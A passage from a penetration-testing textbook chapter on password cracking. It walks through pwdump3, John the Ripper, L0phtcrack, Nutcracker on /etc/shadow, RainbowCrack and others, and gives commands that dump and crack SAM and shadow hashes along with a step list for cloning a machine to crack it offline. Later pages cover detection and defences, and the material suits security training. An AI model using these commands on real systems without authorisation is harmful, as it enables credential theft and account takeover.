Tony Sabin under the GNU General \nPublic License Version 2 (GNU GPL), you can redistribute it and/or modify it under \nthe terms of the GNU GPL, as published by the Free Software Foundation. NO WARRANTY, \nEXPRESSED OR IMPLIED, IS GRANTED WITH THIS PROGRAM. Please see the COPYING file \nincluded with this program (also available at www.ebiz-tech.com/pwdump3) and the GNU \nGPL for further details.\nPlease enter the password >***************\nCompleted.\nC:\\tools\\pwdump3>dir passwd.1\n Volume in drive C has no label.\n Volume Serial Number is 8496-8025\n Directory of C:\\tools\\pwdump3\n02/02/2005 01:59 PM 859 passwd.1\n 1 File(s) 859 bytes\n 0 Dir(s) 3,143,385,088 bytes free\nExample 9-6\nCracking Windows Passwords\nC:\\tools\\john-16w\\john-16\\run>john c:\\tools\\pwdump3\\passwd.1\nLoaded 10 passwords with no different salts (NT LM DES [24/32 4K])\nCOMPUTE (user1:1)\nR (user1:2)\nExample 9-7\nDisplaying Cracked Windows Passwords\nC:\\tools\\john-16w\\john-16\\run>john -show \nc:\\tools\\pwdump3\\passwd.1\nuser1:COMPUTER:1009:2B2AC2D1C7C8FDA6CEA80B5FAD7563AA:::\n" }, { "page_number": 316, "text": "Password-Cracking Tools 289\nL0phtcrack\nIf command-line functionality is not your thing, you can use L0phtcrack, a GUI-based \nWindows tool for cracking Windows passwords. L0phtcrack is probably the most well-\nknown Windows cracking tool in the market. It is developed by @Stake, Inc. (http://\nwww.atstake.com), which was acquired by Symantec Corporation (http://\nwww.symantec.com) in October 2004. With L0phtcrack, you can do the following:\n•\nCrack passwords on your local machine\n•\nCrack passwords from a remote machine \n•\nCrack passwords by using an NT 4.0 ERD\n•\nCrack passwords by sniffing the LAN\n•\nL0phtcrack performs dictionary attacks, hybrid attacks, and brute force attacks. It \neven scores your passwords for level of difficulty, which is helpful when you are \nwriting a penetration testing report. \n•\nUpon starting L0phtcrack, you are presented with the screen in Figure 9-5.\nFigure 9-5\nL0phtcrack Wizard\nFrom this screen, you choose what type of password cracking you want to perform. If you \nhave physical access to the server, you should choose Retrieve from the local machine. If \nyou do not, choose Retrieve from a remote machine. Note that in both cases, you need \nadministrator privileges. \nOnly use the third option, Retrieve from NT 4.0 emergency repair disk, if you are \nattempting to crack passwords on NT 4.0 servers. \n" }, { "page_number": 317, "text": "290\nChapter 9: Password Cracking\nThe final option, Retrieve by sniffing the local network, is useful in penetration testing. \nHere, you sniff the network and wait until someone sends a password across the wire. When \nsomeone does, L0phtcrack intercepts the password hash and attempts to crack it. Because \nmalicious hackers do not have administrative access to servers, this is a technique they use \nto crack passwords. The drawback to such a method is the time it takes; you have to wait \nuntil someone sends a password across the network. Also, you must be able to sniff the \nnetwork. In a switched environment, sniffing the network is difficult without the use of port \nmirroring. (Cisco calls this SPAN, or Switched Port Analyzer). \nIf you want to simply assess the strength of a company passwords, you will most likely be \ngranted administrator access. That way, you can choose one of the first two options.\nOn the next screen (shown in Figure 9-6), choose the type of password cracking you want \nto do. The best option is to use the Strong Password Audit option. This performs \ndictionary, hybrid, and brute force attacks against your passwords. \nFigure 9-6\nL0phtcrack: Choosing an Auditing Method\nAnother alternative is to choose the last option, Custom. As shown in Figure 9-7, this \noption enables you to choose what type of attack you want to do. Under the Perform a \n‘brute force attack’ on the passwords option, you should select the character set, \nalphabet+ numbers + all symbols. This gives you the most thorough attack option, but it \nalso takes the longest to run.\n" }, { "page_number": 318, "text": "Password-Cracking Tools 291\nFigure 9-7\nL0phtcrack Custom Attack\nNext, you are prompted with the screen shown in Figure 9-8. Select all options to provide \nthe most thorough results.\nFigure 9-8\nL0phtcrack Pick Reporting Style Dialog Box\n" }, { "page_number": 319, "text": "292\nChapter 9: Password Cracking\nFollowing the Pick Reporting Style dialog box, you are presented with the screen shown in \nFigure 9-9. \nFigure 9-9\nL0phtcrack Import Dialog Box\nFrom the Import dialog box, you can choose whether you want to import your passwords \nfrom a local or remote machine, or if from a file, what type of password file you are \nimporting from. Options include the following: \n•\nA SAM file\n•\nAn LC4 file (from a previous version of L0phtcrack\n•\nA PWDUMP file (as discussed earlier under the section “Pwdump3”)\n•\nA UNIX /etc/shadow file\nFor this example, select Remote machine and click Add. This pops up the screen shown \nin Figure 9-10, where you enter the name and operating system of the remote server and \nthen click OK.\n" }, { "page_number": 320, "text": "Password-Cracking Tools 293\nFigure 9-10 L0phtcrack Add Machine to Remote Import Dialog Box\nAs shown in Figure 9-11, you include the account name, password, and domain name to \naccess the remote server. The account must have administrative access to the server.\nFigure 9-11 L0phtcrack Credentials Dialog Box\nAt this point, L0phtcrack begins its attempt to crack passwords. It begins by attempting a \ndictionary attack, followed by a hybrid attack, and then a brute force attack. Figure 9-12 \nshows an example of L0phtcrack at work. Note that this screen shows you the account \nnames, current decrypted passwords, and LAN Manager hash. L0phtcrack has highlighted \ntwo accounts—backup and Guest—that currently do not have a password. \n" }, { "page_number": 321, "text": "294\nChapter 9: Password Cracking\nFigure 9-12 L0phtcrack Results Screen\n•\nAs discussed earlier, LAN Manager hashes take your password and break it into \ntwo seven-character passwords. The passwords are padded to equal a total of 14 \ncharacters. If the password is seven characters or less, the second seven characters is \nalways all zeros. When you run this through the hashing algorithm, you get a value of \n0xAAD3B435B51404EE. Several passwords are less than eight characters, as shown \nin Figure 9-13. \nFigure 9-13 Short Passwords\nAs a penetration tester, you are responsible for assessing the strength of company \npasswords. Passwords like these that are less than eight characters are weak because you \nnever have to worry about cracking the second set of seven characters. L0phtcrack also has \na feature of grading your passwords. This feature is not turned on by default, so you have \nto enable it to view the password scores. \n" }, { "page_number": 322, "text": "Password-Cracking Tools 295\nTo view password scores, go to the View menu and choose Select Visible Columns. (See \nFigure 9-14.)\nFigure 9-14 L0phtcrack: View > Select Visible Columns\nNext, select the last option entitled Password Score as shown in Figure 9-15.\nFigure 9-15 L0phtcrack Select Columns Dialog Box\n" }, { "page_number": 323, "text": "296\nChapter 9: Password Cracking\nNow when you return to the Results screen, you can see how L0phtcrack has assessed your \npasswords. This is useful information to put in a penetration testing report. Most managers \ndo not care to know about the details of LAN Manager hashes; they just want to know how \nweak their passwords are. This feature provides that information. Figure 9-16 shows the \nscore that L0phtcrack has assigned to these passwords. \nFigure 9-16 L0phtcrack Password Scoring\nIf you want a more visual representation of what L0phtcrack was able to accomplish, you \ncan click on the Report tab from the screen in Figure 9-16. It shows you the following:\n•\nPassword risk status\n•\nPassword character sets\n•\nPassword audit method\n•\nPassword length distribution\nFigure 9-17 shows an example of a graphical password report.\n" }, { "page_number": 324, "text": "Password-Cracking Tools 297\nFigure 9-17 L0phtcrack Password Report\nOne of the drawbacks of L0phtrack is its lack of printing functionality. In its current \nversion, you cannot print this report. Still, you can use this report as a reference when \ncreating your penetration testing analysis report.\n•\nAnother nice feature is the L0phtcrack capability to respond to weak passwords. You \nnot only can detect weak passwords, but you can respond to fix them. Your options \ninclude the following:\n•\nDisabling accounts\n•\nForcing a password change for that account\n•\nBoth options require the use of an account with administrator access. You can access \nthese options under the Remediate window. (See Figure 9-18.)\n" }, { "page_number": 325, "text": "298\nChapter 9: Password Cracking\nFigure 9-18 L0phtcrack Remediate Options\nL0phtcrack is a powerful tool with many options. It should be included in every penetration \ntester toolbox. \nNutcracker\nLinux and other UNIX variants use salts in their password encryption process to make the \npasswords harder to crack. Do not let that fool you into thinking that password cracking is \nslower on UNIX platforms. You can still perform fast dictionary attacks against the /etc/\nshadow file. \nProbably the fastest UNIX/Linux password cracker is Nutcracker, made by Ryan Rhea. You \ncan download Nutcracker at the following site:\nhttp://www.antiserver.it/Password-Crackers/ \nBecause Nutcracker is a dictionary-cracking program, it requires the use of a dictionary file. \nA sample dictionary file is included with the program that contains about 2400 dictionary \nwords, but you should build your own. Running Nutcracker is easy. Simply execute the \nprogram with the name of your password file (typically /etc/shadow) followed by the name \nof the dictionary file, as demonstrated in Example 9-8. The name of the file included with \nNutcracker is words.\n" }, { "page_number": 326, "text": "Password-Cracking Tools 299\nNotice that several of the passwords were not cracked. That means that their password was \nnot found in the included dictionary file. Note that user1, user2, user3, and user4 were \ncracked because their passwords were found in the included dictionary file.\nIf you want to send the result to a file, pipe it to a file of your choosing. As an example, you \ncan send the results to a file called results.txt:\nlinux:/usr/bin/nutcrack.1.0 # ./nutcrack /etc/shadow words > results.txt\nYou can view the results in a text editor.\nHypnopædia\nHypnopædia is a Windows-based POP3 password cracker that is easy and fast to use. It only \ndoes dictionary attacks, so you need a dictionary file. The example in this section uses the \none that came with John the Ripper. \nExample 9-8\nRunning Nutcracker\nlinux:/usr/bin/nutcrack.1.0 # ./nutcrack /etc/shadow words\nNutcracker version 1.0\nCopyright 2000 by Ryan T. Rhea\ngot dict file: words\ngot passwd file: /etc/shadow\ncracking...\nuser name status password\n---------------- --------------- ----------------\nat unable to crack X\nbin disabled -\ndaemon disabled -\nftp disabled -\ngames disabled -\nlp disabled -\nmail disabled -\nman disabled -\nnews disabled -\nnobody disabled -\nntp unable to crack X\npostfix unable to crack X\nroot unable to crack X\nsshd unable to crack X\nuucp disabled -\nwwwrun disabled -\nandrew unable to crack X\nadmin unable to crack X\nuser1 CRACKED Mickey\nuser2 CRACKED newuser\nuser3 CRACKED 123456\nuser4 CRACKED foobar\nlinux:/usr/bin/nutcrack.1.0 # \n" }, { "page_number": 327, "text": "300\nChapter 9: Password Cracking\nTo begin, enter the name of your password file, the mail server, and the username that you \nwant to crack, as illustrated in Figure 9-19.\nFigure 9-19 Hypnopædia Screen\nPress the Crack button. Then sit back and wait for the password to be cracked. \nIn Figure 9-20, you see that the password is 1n5rn66.\nSnadboy Revelation\nMany applications give you the option to save your password. This is risky, because anyone \nwho has access to your computer can automatically log into that application without having \nto authenticate. What makes it more risky is that people often reuse passwords, which \nmeans that if someone can discover the password to an application that saves your \npassword, he can potentially log into other applications that use the same password.\nRevelation (http://www.snadboy.com/) is a tool that retrieves a password even if it is \nmasked. This is often the case with stored passwords. The passwords are covered up with \nXs or *s in an attempt to keep the password secret. Revelation can show the hidden \npassword, as illustrated in Figure 9-21.\n" }, { "page_number": 328, "text": "Password-Cracking Tools 301\nFigure 9-20 Hypnopædia Success\nFigure 9-21 Snadboy Revelation\n" }, { "page_number": 329, "text": "302\nChapter 9: Password Cracking\nThis application is using a username of andrew and a password of 1r66nbg. Even though \nthe password is masked with Xs, Revelation reveals the password. Because people often \nreuse passwords, you could try this password on other applications that this user has access \nto, such as e-mail or accounting software. \nBoson GetPass\nThus far, the chapter has been addressing passwords on UNIX and Windows systems. Other \nhosts on a network also have passwords, which, if breached, can be detrimental to network \noperation. Specifically, Cisco routers contain passwords that malicious hackers can crack \nand gain access to. To assess the likelihood of a successful malicious attack, a penetration \ntester must also attempt to crack the password.\nBefore delving into how to crack a Cisco password, you need to understand how Cisco \npasswords work.\nCisco has two modes of operation: \n•\nUser exec mode—User exec mode is like the lobby of a hotel—you can look inside, \nbut you cannot do anything. In user exec mode, you can view the status of your \ninterfaces and your routing table and perform other information-gathering tasks. You \ncannot, however, perform configuration.\n•\nPrivileged exec mode—Privileged exec mode is like having a master key to all the \nhotel rooms. After you gain access to privileged exec mode, you have full \nconfiguration access to the router. You can include a password when you move from \nuser exec to privileged exec mode. It is this password that you should be concerned \nabout protecting.\nYou can provide a password to enter into privileged exec mode in two ways: \n•\nclear-text enable password\n•\nenable secret\nSuppose that you choose a password containing letters and special characters: vB*hq0. You \nenter this clear-text enable password with the following command:\nRouter(config)#enable password vB*hq0\nThis password is shown when the configuration is viewed. Configurations are often stored \noffline, and anyone who gains access to view the configuration can see this password. To \nprovide some protection of this password, you can use the enable secret password instead. \nYou can do this through the following command:\nRouter(config)#enable secret vB*hq0\nWhen the configuration is shown, the password is encrypted with a type 5 password:\nenable secret 5 1401304104157A\n" }, { "page_number": 330, "text": "Password-Cracking Tools 303\nNow anyone who views this password in an offline configuration file cannot decipher the \npassword. That is, of course, unless that person has a tool such as Boson GetPass!, found \nat http://www.boson.com/promo/utilities/getpass/getpass_utility.htm.\nGetPass! is a simple tool in which you enter any password encrypted with the service \npassword-encryption command. Figure 9-22 shows the GetPass! utility.\nFigure 9-22 Boson GetPass!\nThis goes to show how crucial it is that all offline configuration files are kept in a secure \nplace. If not, anyone with a tool such as Boson GetPass! could retrieve your passwords and \nlog onto your routers.\nRainbowCrack\nRainbowCrack, available at http://www.antsight.com/zsl/rainbowcrack, is a password \ncracker that uses the time-memory trade-off technique to speed up the process of password \ncracking. RainbowCrack uses rainbow tables, which are precomputed plaintext and hashes. \nBy taking the time to create these tables in advance, you can save time cracking passwords \nlater.\nRainbowCrack comes with the following utilities:\n•\nrtgen.exe\n•\nrtsort.exe\n•\nrcrack.exe\nTo begin, use the Rainbow Table Generator (rtgen.exe) utility to generate your rainbow \ntables. The Rainbow Table Generator takes several parameters, as listed in Table 9-2.\n" }, { "page_number": 331, "text": "304\nChapter 9: Password Cracking\nNOTE\nThese are defined in the file charset.txt. Modify this file to create your own character sets.\nUnless you are skilled in cryptanalysis and the time-memory trade-off technique, you \nshould stick with the recommended values to create your tables. Example 9-9 demonstrates \nhow to create a 128-MB rainbow table.\nCreating your rainbow table might take several hours. After you finish generating a rainbow \ntable, you will find a file named lm_alpha#1-7_0_2100x8000000_all.rt in the current directory.\nThe next step is to use the Rainbow Table Sorting Utility (rtsort.exe), which speeds up the \nsearch of your rainbow table. The syntax of this command is simple; just execute the \ncommand followed by the name of the rainbow table you created:\nC:\\rainbowcrack-1.2-win>rtsort lm_alpha#1-7_0_2100x8000000_all.rt\nTable 9-2\nRainbow Table Generator Parameters\nParameter\nValue\nHash_algorithm\nlm (LANMAN), md5, sha1\nPlain_charset\nalpha, alphanumeric, alphanumeric-symbol14, all, numeric, \nloweralpha, lower-alphanumeric1 \nPlaintext_length_min\n1[nd]7; Minimal plaintext length\nPlaintext length_max\n1[nd]7; Maximum plaintext length\nRainbow_table_index\nIndex number\nRainbow_chain_length\nLength of individual chains within table\nRainbow_chain_count\nNumber of chains in table\nFile_title_suffix\nString to add to the end of the file title\nExample 9-9\nCreating a 128-MB Rainbow Table\nC:\\rainbowcrack-1.2-win>rtgen lm alpha 1 7 0 21 00 8000000 all\nhash routine: lm\nhash length: 8\nplain charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ\nplain charset in hex: 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 5\n4 55 56 57 58 59 5a\nplain length range: 1 - 7\nplain charset name: alpha\nplain space total: 8353082582\nrainbow table index: 0\nreduce offset: 0\ngenerating...\n100000 of 8000000 rainbow chains generated (8 m 5 s)\ndone.\n" }, { "page_number": 332, "text": "Detecting Password Cracking 305\nThis command might take several minutes to complete.\nFinally, use the Rainbow Crack (rcrack.exe) utility to crack the hashes. For Windows \npassword cracking, you need to extract the hashes from the SAM database. You can use the \nPwdump utility from BindView (http://www.bindview.com/Services/razor/Utilities/\nWindows/pwdump2_readme.cfm) to extract these hashes. The following syntax extracts \nyour hashes into a file called hashes.txt:\nC:\\rainbowcrack-1.2-win>pwdump2.exe > hashes.txt\nNow that you have your hashes, you can attempt to crack them with the rcrack.exe utility \nand your sorted rainbow tables using the following command:\nC:\\rainbowcrack-1.2-win>rcrack alpha#1-7_0_2100x8000000_all.rt –f hashes.txt\nAlthough it does take longer to initially create your rainbow tables, after it is done, the \nprocess of cracking passwords is quicker. What would normally take hours takes only \nseconds with precomputed rainbow tables.\nPassword Crackers\nCountless password crackers are available. You can find a great resource of available tools \nat http://www.antiserver.it/Password-Crackers/. Be sure to try out the tools in this chapter \nand download others off this web site. Test the tools for yourself to see which ones you \nprefer.\nDetecting Password Cracking\nDetecting password cracking can be difficult depending on the type of attack taking place. \nDuring a standard brute force or password dictionary list attack, the hacker, in his efforts to \ngain access, typically sends hundreds or thousands of possible username and password \nattempts against the target. When a possible combination is successful, the hacker moves \nto the next step to gain even more access to the system. Another method a hacker might use \nis to gain physical access to a system and actually steal the password files or databases. If \nall of this is too difficult, the hacker might resort to the most basic attack of social \nengineering. The sections that follow detail some of the possible detection locations you \ncan watch for these types of attacks.\nCAUTION\nThe dangers of physical access to a system can be quite devastating. After a hacker has \ncopied the files that contain passwords, such as the Windows SAM file, the entire system \nmight as well be considered compromised. \n" }, { "page_number": 333, "text": "306\nChapter 9: Password Cracking\nNetwork Traffic\nMonitoring network traffic can be a difficult thing to do in switched networks without the \nproper gear that supports SPAN ports. After you overcome this hurdle, the use of network \nsniffers can be employed to monitor and even record all traffic to the monitor screen or \nrecord it to the hard drive for later evaluation. As mentioned earlier, password guessing can \nsend hundreds or even thousands of attempts against a target system within a short time. \nFor example, you can configure the tool called Brutus (discussed in Chapter 7, “Performing \nWeb-Server Attacks,”) to use dictionary list password guessing against any Telnet server, \nsuch as a Windows Server or even a PIX Firewall. While in the attack, Brutus sends as many \nusername and passwords combinations as it possibly can in the shortest time. By using a \nnetwork sniffer, you can monitor this huge blast of attempts sent against the target. In \nnormal operation, login attempts are sporadic, so when a single location sends so many \nattempts in a short period, you can logically deduce that a hacker is at work. However, this \ntechnique can be a little time consuming, to say the least. It is usually used after detection \nhas taken place by other means.\nSystem Log Files\nA better location to detect login failures is within the systems security log files of the target. \nWhen enabled to record failed login requests, the log file can provide details such as time, \ndate, and username involved in the login attempt. Typically, you see the same hundreds \nor thousands of attempts, such as the network sniffer, except in an easy-to-read format. \nFigure 9-23 shows failed login attempts in a Windows 2003 Event Viewer, and Figure 9-24 \ndisplays the detail that you can find about each login failure.\nFigure 9-23 Windows Event ViewerI\n" }, { "page_number": 334, "text": "Detecting Password Cracking 307\nFigure 9-24 Windows Event Viewer Failed Login\nAccount Lockouts\nDuring any password guessing technique, hackers might come up against the “account \nlocked out” problem. By default, the standard Windows computer does not lock user \naccounts no matter how many attempts have been made. This default setting is a dream \nsystem for a hacker to attack. A hacker can attempt to log in for days using the same account \nname, such as the administrator, until he finally gains access. \nGood system administrators manually configure basic logout settings to something like \nthis: For every failed 5 attempts, lock out the user account for 30 minutes. When script \nkiddies come up against account lockouts, they typically just move to the next account \nname on the list. They use that name until it gets locked out, and so on. In the end, the \nadministrator of the target system will start hearing voices from all the legitimate users \nstating that they cannot log in and the account has been locked. If the dozens of people who \ndo not normally lock their account are stating this, this is a sure symptom that password \nguessing is going on. This is also a sneaky way of performing a denial-of-service (DoS) \nattack against the office. When you lock every account, office work stops for at least 30 \nminutes for any users attempting to log in or until the administrator manually unlocks the \naccounts. \nWhat about the non-script kiddie? Well, a pro hacker locks the account a maximum of once \nor not at all. If the lockout setting is set to 5, the hacker basically just slows down the attack \nto 3 to 4 attempts and then waits 30 minutes and tries again. Over a period of a week or a \nmonth, the hacker might finally gain access. You should continue to keep an eye on the log \nfiles even if you have account lockouts enabled. \n" }, { "page_number": 335, "text": "308\nChapter 9: Password Cracking\nPhysical Access\nDetecting hacking against physical theft of the password files such as the Windows SAM \nfile or *nix shadow files can be quite difficult. If the file is stolen, a hacker can take the file \nand brute force the passwords for as long as he likes in the privacy of his own home. \nIndications of this can include a broken door or window into the office; a stolen laptop or \ncomputer; backup tapes missing; or strange administrator account activity to the SAM file \nor Shadow file. Shortly after the incident, the target system administrator might start seeing \nsuccessful logins for users at odd times of the day or night. This might indicate that the \nhacker is using what he currently password-guessed against that file. If this seems difficult \nto detect, you are quite correct.\nDumpster Diving and Key Logging\nDumpster diving and key logging can actually be classified as physical access. Dumpster \ndiving involves the classic rummaging through the trash looking for old hard drives, yellow \npost-it notes, or other possible items for username and passwords. If the system \nadministrator comes into work one day and sees the trash scattered across the parking lot \nor in the office, this might mean that an amateur hacker was dumpster diving for password \nclues. \nKey loggers allow hackers to install software-based or even more clever physical devices \nthat look like keyboard adapters between the computer and the keyboard. With these, \nhackers can capture every keystroke ever sent, which is a disturbing thought indeed. Some \nbasic software can detect software key loggers, but physical loggers are a little more \ndifficult. As an administrator, you should review your server connections every day to help \ndetect physical key loggers being installed. Like other physical access, it is hard to detect.\nSocial Engineering\nOne of the most difficult methods to detect might actually be social engineering. Hackers \ncan use the good old trick of just using the telephone and asking a person for his username \nand password to the system to carry out some maintenance. Hopefully the user will not give \nout this information, but you would be surprised how many times basic nonsecurity-\noriented users are trusting to the telephone caller and provide full username and password \ndetails. This is hard to detect unless users report it to the administrator of the security team, \nand it will probably only be done after a full-scale attack against the system was done and \nin the aftermath the user recalls a strange phone call a few days back. Another form of social \nengineering technique besides the standard phone call is shoulder surfing. \n" }, { "page_number": 336, "text": "Protecting Against Password Cracking 309\nProtecting Against Password Cracking\nProtecting against password cracking is similar to detection, and it can be difficult to cover \nall aspects. You cannot fully stop cracking, but you can make it so difficult that it becomes \nimpractical for the hacker to proceed down that path to gain access. The sections that follow \nlook at some protection practices you should implement to any degree you see fit and \ndepending on what is practical in your environment.\nPassword Auditing\nPerform password auditing on a periodic basis for even the smallest of offices. Auditing \npasswords gives security personnel (administrators) the ability to extract all the usernames \nand passwords from the database or shadow file and test them. The test can involve \nsomething as basic as running the file through programs such as John the Ripper or \nL0phtcrack. Actually, L0phtcrack has a feature called password auditing to help \nadministrators attempt to crack user passwords directly from the SAM database. If users \nhave simple passwords, they should be educated to use longer passwords that do not contain \ndictionary words and to use characters that take longer to crack. For example, a simple 7-\ncharacter password might take a few hours to crack, whereas a 14-character password \nmight take a month. Auditing helps administrators flush out the possible weaknesses in \npasswords. All Microsoft operating systems from Windows 2000 and later come with a \nspecial setting that, when enabled, requires users to implement complex passwords. This \ngreatly enhances security and makes password cracking more difficult.\nTIP\nMicrosoft has implemented a password filter dynamic link library (DLL) called Passfilt.dll, \nwhich requires users to select at least three characters from the following: \n• Uppercase A through Z\n• Lowercase a through z\n• Digits 0 through 9\n• Nonalphanumeric, such as !, $, %, and &\nFor more detail, see the Microsoft website, at http://www.microsoft.com/technet/\nprodtechnol/windowsserver2003/technologies/security/bpactlck.mspx.\nLogging Account Logins\nImplement logging account logins on all systems from Windows and UNIX to your routers, \nfirewalls, and other managed devices. If you are not logging at least failed login attempts, \nyou might never know that Evil Jimmy the hacker is knocking at your door all day long \ntrying to get in. \n" }, { "page_number": 337, "text": "310\nChapter 9: Password Cracking\nYou can easily configure routers and firewalls to log error messages to a common Syslog \nserver for easy viewing by administrators. \nYou can configure Windows systems to log both success and failure logon events to the \nSecurity Event Log. See Figure 9-25 for the way to set the Event Log. \nFigure 9-25 Event Log Settings\nOne difficulty with Windows systems is that they only log Event Logs locally; therefore, in \nlarge domain environments, you might miss failed logins if you do not look at the right \nserver. For example, in an environment that contains ten domain controllers; the \nauthentication process might be bounced to any one of the domain controllers (DCs). If \nauthentication is taking place at DC-1, and you are looking at the Event Viewer on DC-2, \nyou will not see failed login attempts against DC-1—you have to look at DC-1 directly. \nWith this knowledge, you might see yourself or administrators manually opening several \nEvent Logs from all the different DCs and client desktops. This is quite painful really, \nparticularly if you have more than 1000 computers in your network. Happily, you can use \nsome third-party tools to consolidate Event Logs to a single location or even send them to \na standard Syslog server. Alternatively, you might want to use the new Microsoft product \nMicrosoft Operations Manager (MOM) or the old Microsoft EventComb tool that searches \nthough different server Event Logs for you. Whatever you use, make sure it is collecting all \nthe logs from every server so that you do not miss Evil Jimmy cracking passwords on the \nserver right next to you. Figure 9-25 displays Windows 2003 domain group policy settings \nitems that you can enable, log, and audit in the Security Event Log.\nNOTE\nFor more information about MOM, see http://www.microsoft.com/mom.\n" }, { "page_number": 338, "text": "Protecting Against Password Cracking 311\nAccount Locking\nUser account locking can be a good way to protect against password cracking. The process \nof locking an account after five failed attempts can dramatically slow down hackers to such \na crawl in their password guessing techniques that they might just give up after a few hours. \nFor example, before account locking is enabled, Evil Jimmy could send 1000 attempts in 1 \nminute. However, with account locking enabled, and with a reset timer of 30 minutes, it \nwould take him 125 hours to test 1000 passwords. Basically, the hacker will use this against \nyou and start locking out accounts to cause a DoS or move on to a different type of attack, \nsuch as sniffing passwords off the cable to later brute force them from home, or perhaps \nsome social engineering methods. (See the “L0phtcrack” section.) Figure 9-26 displays the \naccount lockout policies in a Windows 2003 Domain Group Policy.\nFigure 9-26 Account Policies \nPassword Settings\nWorking hand in hand with account locking are password length, history, and password \nexpiration. The longer and more complex you can make passwords, the better off you will \nbe in helping thwart password guessing attacks with or without account locking enabled. \nMicrosoft has several options that are normally turned off in a default installation that allow \nusers to have zero-length passwords and never prompt for a password to be changed. \nConsider a few of the settings:\n•\nPassword length\n•\nPassword expiration\n•\nPassword history\n" }, { "page_number": 339, "text": "312\nChapter 9: Password Cracking\nFigure 9-27 displays the password settings on a Microsoft 2003 server.\nFigure 9-27 Password Settings\nPassword Length\nJust about every security book that exists tells you to use long passwords, and this one is no \ndifferent. Short passwords are easy to crack. According to the AucCert, 7-character \npasswords take two and a half hours to crack, whereas 8-character passwords take up to one \nweek. Now the specs are generic and not operating system-specific, but this does give a feel \nfor how much better off you are with just a couple of extra characters in a password. For \nmore details, see http://national.auscert.org.au/render.html?it=2260&cid=2997.\nIn a Microsoft environment, the recommendation is as follows:\n•\nTurn off LAN Manager password storage. \n•\nUse at least 8-character passwords.\nFor more details on Microsoft recommendations, see http://www.microsoft.com/technet/\nprodtechnol/windowsserver2003/technologies/security/bpactlck.mspx.\nPassword Expiration\nPassword expiration allows administrators to force users to change their passwords. Every \nadministrator has his own idea of what this setting should be. In lax environments, 45 days \nmight be the norm; in secure environments, you might see 14 days or even less. However, \nthe shorter you make the expiration, the more often users will need to change and remember \ntheir new passwords. Watch out for the use of yellow post-it notes floating around the office \nwith password reminders on them. Also watch out if the setting is so short that users start \nusing the same password over and over again, or if they start using a common password \n" }, { "page_number": 340, "text": "Protecting Against Password Cracking 313\nwith a simple incrementing technique. For example, here is a poor technique we came \nacross in several password audits:\nJanuary week one password: dan-0101\nJanuary week two’s password: dan-0102\nMarch week one password: dan-0301\nGuessing that the second week password for April would be “dan-0402” did not disappoint. \nChanging passwords is great, but just make sure you tell users not to use common \nincrementing techniques on new passwords. It only takes two yellow post-it notes for a \nclever hacker to figure out the pattern. \nPassword History \nPassword history recording in operating systems such as Windows allows you to prevent a \nuser’s new password from being the same as a previously used password. For example, if \nyour password was 123 and it expired and needed changing, you could theoretically use the \nsame password again. If the password history is set to 5, though, you would not be able to \nuse the same password until you had changed your password 5 different times. This greatly \nassists in strengthening password uniqueness.\nPhysical Protection\nPhysical protection of your servers or client computer can never be emphasized enough. \nSeveral of the tools mentioned in this chapter require a copy of the actual SAM database, \nshadow file, or even just an extract of the files. After this is obtained, offline brute forcing \ncan take place. Utilities such as pwdump3 can extract the SAM file from across the network \nor from the local computer as long as you have administrator privileges. However, if a \nhacker does not have this access and network password guessing will take too long, he will \nfind a physical computer and extract the username and passwords from that file. Consider \nan even bigger, scarier example: How about getting the entire computer? The following \nsteps show how to do this:\nStep 1\nGather two tools:\n— One external USB hard drive.\n— One bootable floppy disk or CD with cloning software on it. This \nsoftware images an entire computer. (Ghost or Drive Image work \nwell.)\nStep 2\nGet physical access to a server or client computer.\nStep 3\nReboot the computer.\nStep 4\nBoot from the cloning software boot disk.\n" }, { "page_number": 341, "text": "314\nChapter 9: Password Cracking\nStep 5\nClone the computer to the external USB hard drive. This takes about 3 to \n10 minutes depending on disk size and USB speed supported.\nStep 6\nRemove the external USB drive and imaging boot disk.\nStep 7\nHead for home and restore the image onto a large drive.\nStep 8\nAttach the drive to a computer and navigate to any files you want. The \nrest is just a matter of time to brute force the SAM file or shadow file.\nThe preceding scenario demonstrates how, in a matter of a few minutes, a hacker who has \nphysical access can copy an entire computer for offline analysis and password cracking. \nThis form of physical attack can be done on any laptop, desktop, or even server that allows \nbooting from a floppy, CD, or even USB drive. Protection against such attacks is quite \nsimple really. Just keep servers in a secure place where only authorized personal should \nhave access to them. Laptops and client desktop computers should have BIOS passwords \nset on them to prevent hackers from easily booting from a floppy CD or USB drive. Some \nsites might even remove the CD and floppy drives entirely to hinder an attacker. However, \nunderstand that on the second trip for the hacker, he might just bring his own floppy drive \nand attach it, although this requires more time and effort. (USB floppy drives work perfectly \nif this is the case.)\nNOTE\nWindows Syskey: Windows has implemented a utility called Syskey that encrypts the SAM \ndatabase while the system is turned off. If a hacker obtains a copy of the SAM file, he has \nto break the Syskey before brute forcing user passwords. Most installations store the \nSyskey key in the SYSTEM registry hive; by having access to the entire disk, hackers are \nnot slowed down that much.\nAnother loose physical access thought you should take into consideration is the network. If \nhackers can gain network access either via cables or wireless, they could perhaps just use \nLAN Manager password network sniffers or utilities such as Kerbcrack to collect encrypted \npasswords right off the network. To assist in protecting from such attacks, you should put \ninto place the use of managed switches. Switches slow down hackers by requiring them to \ndo man-in-the-middle (MITM) type attacks and Address Resolution Protocol (ARP) \nspoofing to collect passwords. However, an even better precaution is to implement port \nsecurity or MAC filtering on the managed switch to prevent unknown MAC addresses from \naccessing the network. These methods do not stop the pro hacker forever because MAC \naddresses can be changed easily; however, they will slow him down.\n" }, { "page_number": 342, "text": "Protecting Against Password Cracking 315\nEmployee Education and Policy\nEducation entails informing employees about the dangers of password cracking and how \neasy it is to do. Implementing password recommendations and reset procedures helps to \ndefend against crackers and even social engineering attacks. \nSocial engineering attacks are difficult to defend against, especially against systems where \nusers are not educated in the potential risks associated with insecure passwords. In any size \ncompany, it is crucial to educate your employees about the importance of using unique \npasswords, never writing them down, and never revealing passwords or even usernames. \nIn normal offices, most employees give security little consideration on a daily basis unless \nthey are involved in system administration. Users of the network should be educated and \nwell-informed about security issues and maintaining all elements of security. Offices, both \nlarge and small, should implement security awareness programs and events to better \neducate people on the dangers of all things pertaining to security. Topics to cover here to \ndirectly assist you in protecting against possible password cracking include the following:\n•\nExplanation of why\n— Security officers are so concerned about passwords\n— Screen saver passwords are important\n— Long passwords should be used \n— BIOS passwords are employed \n•\nUsers should be told to avoid the following:\n— Using the same password for everything\n— Employing any form of incrementing password\n— Writing passwords down\n— Using the same password 